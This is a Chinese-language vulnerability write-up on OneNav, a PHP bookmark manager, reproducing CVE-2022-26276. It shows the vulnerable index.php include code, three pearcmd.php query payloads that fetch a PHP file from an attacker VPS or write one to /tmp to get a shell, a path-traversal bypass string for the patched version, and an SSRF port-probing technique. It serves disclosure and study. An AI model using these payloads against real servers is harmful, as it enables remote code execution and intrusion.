免责声明
OneNav是一款开源免费的书签(导航)管理程序,使用使用PHP + SQLite 3开发,界面简洁,安装简单,使用方便。OneNav可帮助你你将浏览器书签集中式管理,解决跨设备、跨平台、跨浏览器之间同步和访问困难问题,做到一处部署,随处访问,在github上具有1kstar。
GitHub项目地址: https://github.com/helloxz/onenav
OneNav使用的是SQLite 3数据库,数据库安装文件地址为/data/onenav.db3,若使用Nginx没有做好站点配置,则可能导致数据库被下载(Apache和docker则无需设置)
官方修复:如果您使用的Nginx,请务必将以下规则添加到站点配置中。
#安全设置
location ~* ^/(class|controller|db|data|functions|templates)/.*.(db3|php|php5|sql)$ {
return 403;
}
location ~* ^/(data)/.*.(html)$ {
deny all;
}
location /db {
deny all;
}
#伪静态
rewrite ^/click/(.*) /index.php?c=click&id=$1 break;
rewrite ^/api/(.*)?(.*) /index.php?c=api&method=$1&$2 break;
rewrite /login /index.php?c=login break;
查看issues发现版本0.9.15之前存在历史漏洞CVE-2022-26276
Dockerhub搜索相应版本镜像
Docker pull ,docker run
搭建界面:
使用seay扫描本地源码:
可以发现在index.php存在无过滤的目录穿越文件包含:
关键代码文件:
/**
* name:入口文件
*/
highlight_file(__FILE__);
error_reporting(E_ALL^E_NOTICE^E_WARNING^E_DEPRECATED);
//获取控制器
$c = @$_GET['c'];
//进行过滤
$c = strip_tags($c);
//根据不同的请求载入不同的方法
//如果没有请求控制器
if((!isset($c)) || ($c == '')){
//载入主页
include_once("./controller/index.php");
}
else{
include_once("./controller/".$c.'.php');
}
这里的包含需要包含一个php文件,如果是低版本php可以考虑00截断绕过,如果开启远程包含也可以用?换行绕过等。
而这里可以使用PHITHON师傅之前发现的PHP裸文件本地包含的trick
Pearcmd文件包含介绍:
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。
在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。
原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。
但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。
利用条件:
● 安装了pear扩展
● php开启了register_argc_argv选项
这里发现作者提供的镜像文件并不存在pear 环境(可能是之后修改过了)
这里我们可以编写dockersfile,复制其中关键代码来进行复现:
FROM php:7.2-apache
COPY ./index.php /var/www/html
CMD ["apache2-foreground"]
pear文件包含分别有三种方式:
?+download+http://[vps]:[port]/test.php&file=/usr/local/lib/php/pearcmd.php
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test.php
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/test.php
成功getshell:
作者之后对该文件包含进行修复后,被发现在v0.9.15 - v0.9.17可以进行绕过:
下载v0.9.15源码,其中关键代码如下:
/**
* name:入口文件
*/
highlight_file(__FILE__);
error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING ^ E_DEPRECATED);
//获取控制器
$c = @$_GET['c'];
//进行过滤
$c = strip_tags($c);
//根据不同的请求载入不同的方法
//如果没有请求控制器
if ((!isset($c)) || ($c == '')) {
//载入主页
include_once("./controller/index.php");
} else {
$c = str_replace('../', '', $c);
$c = str_replace('./', '', $c);
include_once("./controller/" . $c . '.php');
}
和上一版本只是通过 str_replace 对$c进行了过滤,
$c = str_replace('../', '', $c);
$c = str_replace('./', '', $c);
而这种替换为空绕过很简单:使用..../.// 代替../绕过即可
修复:作者在beta 0.9.18版本进行了严格的过滤
在 api.php
传入url参数没有过滤内网地址以及相关协议存在ssrf
http协议访问内网端口:
盲ssrf通过dict协议探测端口开发放:
开放端口延a时很短
文章引用微信公众号"极梦C",如有侵权,请联系管理员删除!